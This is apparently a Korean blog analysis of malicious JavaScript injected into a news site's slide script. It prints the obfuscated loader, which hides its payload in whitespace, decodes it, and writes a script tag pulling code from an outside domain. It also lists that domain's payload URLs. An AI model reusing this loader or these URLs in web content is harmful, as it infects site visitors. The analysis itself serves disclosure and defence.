inews24.com 내에 공백을 이용한 악성 스크립트 살펴보기 !

* 감염 페이지 : http://inews24.com/js_lib/slide_new.js

* 위 사이트 접속시 악성코드에 감염 될 수 있음을 알려드립니다!

원본 링크 !

<script type="text/javascript">function RDfADFLDEXDFu5(s) {var r = new Array();var curr = 0;while(s.charAt(curr) != '\n') {var tmp = 0;for (var i=6; i>=0 ; i-- ){if (s.charAt(curr) == ' '){tmp = tmp | (Math.pow(2,i));}curr++;}r.push(String.fromCharCode(tmp));}return r.join('');}if(document.cookie.indexOf("OOOIUUTA")==-1 || document.cookie.indexOf("RRXWEXEXPFF2")==-1)Function(RDfADFLDEXDFu5("    [생략]    \n"))();var cookiename = document.cookie.indexOf("OOOIUUTA") == -1 ? "OOOIUUTA" : "RRXWEXEXPFF2";var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie=cookiename+"=Yes;path=/;expires="+expires.toGMTString();</script>

이처럼 공백이 생겨 있습니다 !

HEX 값

222020090920090920200920202020202009090920202020200920092020200920200920202009

0920092020200920202009202020092009090920092020200920202009202020202020090920092

0200920090920202020092009092020090920092009200920090909202020092009202020092020

2009202009092009202020200909202020200909092020202009090909202020200909090920200

9092009200920092009090909200909092009092009092009200920200909202020090909092020

2020200909202020200909092020202020090920092020092009092020202009090909202020092

0090909200909200920092020090920090920200909090920202009092020202020090920092020

0909092020092009092009200920200909202020090909200909202009200909092020200920090

9202020092009092020200909090909200909200920092020090920202009090909092009200909

2009200920200909200920090909202009092009092009200920200909200920090909202009202

0092020090920202020092009202020200909092020200920200920202020090909092009092009

2009202009092009200909092009202020090909202020200920202020202009202009200920090

9200920092020090920092009090920200920202009090909202009200909202020090909202009

2009092009200920200909200920090909202009202009200909202020092020092020200909202

0200920090920092009202009092009200909092009202020092009200920202009092020092009

0920092009202009092020200909092009200920090920092009202009092020200909090920200

9200909200920092020090920092009090920200920202009092020202009090920202020200909

2009202009200909202020200909090920202009200909092009092009200920200909202020090

909200920092009090920090920092009092009200920090920092020200920205C6E22

디코딩 !

여기서 위에 함수 tmp를 통하여 다음과 같이 값이 나옵니다 !

100,111,99,117,109,101,110,116,46,119,114

,[생략]

0,105,109,103,37,50,69,106,115,37,51,69,37,51,67,37,50,70,115,99,114,105,112,116,37,51,69,34,41,41,59

-----------------------------------------------------------------------------------------

document.write(unescape("%3Cscript%20src%3Dhttp

[생략]2Ecom%2Fpic%2Fimg%2Ejs%3E%3C%2Fscript%3E"));

-----------------------------------------------------------------------------------------

document.write(unescape("<script src=http://lzxvx.com/pxx/img.js></script>"));

이곳으로 연결됩니다!

디코딩 연결 링크 !

http://lzxvx.com/pix/img.js

http://lzxvx.com/pix/rot.html

http://lzxvx.com/pix/ll.html

~>http://lzxvx.com/pix/swfobject.js

~>http://lzxvx.com/pix/jpg.js

참고 페이지 : http://kjcc2.tistory.com/1338